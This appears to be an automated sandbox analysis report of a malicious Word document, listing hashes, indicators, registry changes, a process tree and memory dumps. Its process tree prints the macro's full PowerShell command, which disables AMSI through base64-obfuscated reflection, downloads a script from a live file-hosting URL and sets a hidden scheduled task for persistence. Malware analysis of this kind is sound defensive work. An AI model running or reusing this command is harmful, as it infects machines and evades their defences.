57fa6b0245f3a5009e57da1d0cac9466f07e61bf37db7d3c9f59eee2ce4db1e7

Analysis

max time kernel
118s
max time network
130s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
10/04/2024, 11:05

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Report Analysis Logs

General

Target

57fa6b0245f3a5009e57da1d0cac9466f07e61bf37db7d3c9f59eee2ce4db1e7.doc
Size

385KB
MD5

18889d70d5546b861c6fa4ec11126942
SHA1

eef7ed8bd9bcee074e917cf295badf9ad5de936f
SHA256

57fa6b0245f3a5009e57da1d0cac9466f07e61bf37db7d3c9f59eee2ce4db1e7
SHA512

3c29433131e3a039eccbe459a56042e639c39700caaa2c8d7bffa7bb61021f14c8bf58ccbabb5a4a4a8fb056e5c086b13aaea7464d2c9cc6f1d74cada2cd2646
SSDEEP

6144:55fBfm2t8aGhy50K+gGm7R82m4FX36pr0Ko2:5Xm2tVGhy50O7K2D9Ku

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://www.4sync.com/web/directDownload/nJJrbwEJ/rHb0lMWD.782eb24360173e96058a01a45c67031e

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2480	2240	powershell.exe	27

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2480	powershell.exe
7	2480	powershell.exe
10	2480	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2296	schtasks.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1672	systeminfo.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2240	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2480	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2480	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2240	WINWORD.EXE
2240	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2240 wrote to memory of 2480	2240	WINWORD.EXE	28
PID 2240 wrote to memory of 2480	2240	WINWORD.EXE	28
PID 2240 wrote to memory of 2480	2240	WINWORD.EXE	28
PID 2240 wrote to memory of 2480	2240	WINWORD.EXE	28
PID 2480 wrote to memory of 1672	2480	powershell.exe	32
PID 2480 wrote to memory of 1672	2480	powershell.exe	32
PID 2480 wrote to memory of 1672	2480	powershell.exe	32
PID 2480 wrote to memory of 1672	2480	powershell.exe	32
PID 2480 wrote to memory of 2296	2480	powershell.exe	35
PID 2480 wrote to memory of 2296	2480	powershell.exe	35
PID 2480 wrote to memory of 2296	2480	powershell.exe	35
PID 2480 wrote to memory of 2296	2480	powershell.exe	35
PID 2240 wrote to memory of 1428	2240	WINWORD.EXE	36
PID 2240 wrote to memory of 1428	2240	WINWORD.EXE	36
PID 2240 wrote to memory of 1428	2240	WINWORD.EXE	36
PID 2240 wrote to memory of 1428	2240	WINWORD.EXE	36

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\57fa6b0245f3a5009e57da1d0cac9466f07e61bf37db7d3c9f59eee2ce4db1e7.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Windows\SysWOW64\WindowsPowershell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe systeminfo; [Ref].Assembly.GetType('system.Management.Automation.'+$([Text.encoding]::Unicode.Getstring([Convert]::FromBase64string('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.encoding]::Unicode.Getstring([Convert]::FromBase64string('YQBtAHMAaQBJAG4AaQB0AeYAYQBpAGwAZQBkAA=='))),'NonPublic,static').setValue($null,$true); (New-Object system.Net.WebClient).DownloadFile('https://www.4sync.com/web/directDownload/nJJrbwEJ/rHb0lMWD.782eb24360173e96058a01a45c67031e', 'C:\Users\Public\WindowsAuthKeys.ps1'); schtasks /create /tn MicrosoftEdgeTask /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr 'powershell.exe -Windowstyle hidden -executionPolicy Bypass -File "C:\Users\Public\WindowsAuthKeys.ps1"'"
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\SysWOW64\systeminfo.exe
    "C:\Windows\system32\systeminfo.exe"
    3⤵
    - Gathers system information
    PID:1672
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /tn MicrosoftEdgeTask /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr "powershell.exe -Windowstyle hidden -executionPolicy Bypass -File C:\Users\Public\WindowsAuthKeys.ps1"
    3⤵
    - Creates scheduled task(s)
    PID:2296
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
20KB

MD5
aa50cb5a00042bb3ac9cd911e8843414

SHA1
96585d2727e1007c86d62ca82ab28f23f8e49653

SHA256
a938d2af3ac3bb1fa83c44961fb62484a5538e66e228f79637307a237566c669

SHA512
acf889cf56639217a386aad94e1fb9a988449d966d5d6edb4cad9230f6075e515ca8e702efe74c7c71433d0450c9b4a8e60535ece0a0d69738f562f8a40f9003

Download Submit
memory/2240-94-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-188-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-5-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-7-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-6-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-9-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-10-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-8-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-11-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-13-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-12-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-14-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-16-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-15-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-95-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-96-0x0000000006B60000-0x0000000006C60000-memory.dmp

Filesize
1024KB

Download
memory/2240-100-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-104-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-106-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-187-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-191-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-195-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-196-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-194-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-193-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-192-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-190-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-189-0x0000000006B60000-0x0000000006C60000-memory.dmp

Filesize
1024KB

Download
memory/2240-0-0x000000002F401000-0x000000002F402000-memory.dmp

Filesize
4KB

Download
memory/2240-186-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-185-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-184-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-105-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-103-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-102-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-101-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-99-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-98-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-2-0x0000000070D2D000-0x0000000070D38000-memory.dmp

Filesize
44KB

Download
memory/2240-97-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-369-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-279-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-283-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-286-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-285-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-284-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-282-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-365-0x0000000006B60000-0x0000000006C60000-memory.dmp

Filesize
1024KB

Download
memory/2240-364-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-281-0x0000000006B60000-0x0000000006C60000-memory.dmp

Filesize
1024KB

Download
memory/2240-280-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-278-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-277-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-276-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-274-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-368-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-372-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-375-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-376-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-374-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-373-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-371-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-370-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-275-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-367-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-366-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/2240-479-0x0000000070D2D000-0x0000000070D38000-memory.dmp

Filesize
44KB

Download
memory/2240-481-0x0000000006B60000-0x0000000006C60000-memory.dmp

Filesize
1024KB

Download
memory/2240-482-0x0000000006B60000-0x0000000006C60000-memory.dmp

Filesize
1024KB

Download
memory/2240-483-0x0000000006B60000-0x0000000006C60000-memory.dmp

Filesize
1024KB

Download
memory/2240-484-0x0000000006B60000-0x0000000006C60000-memory.dmp

Filesize
1024KB

Download
memory/2240-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2240-499-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2240-500-0x0000000070D2D000-0x0000000070D38000-memory.dmp

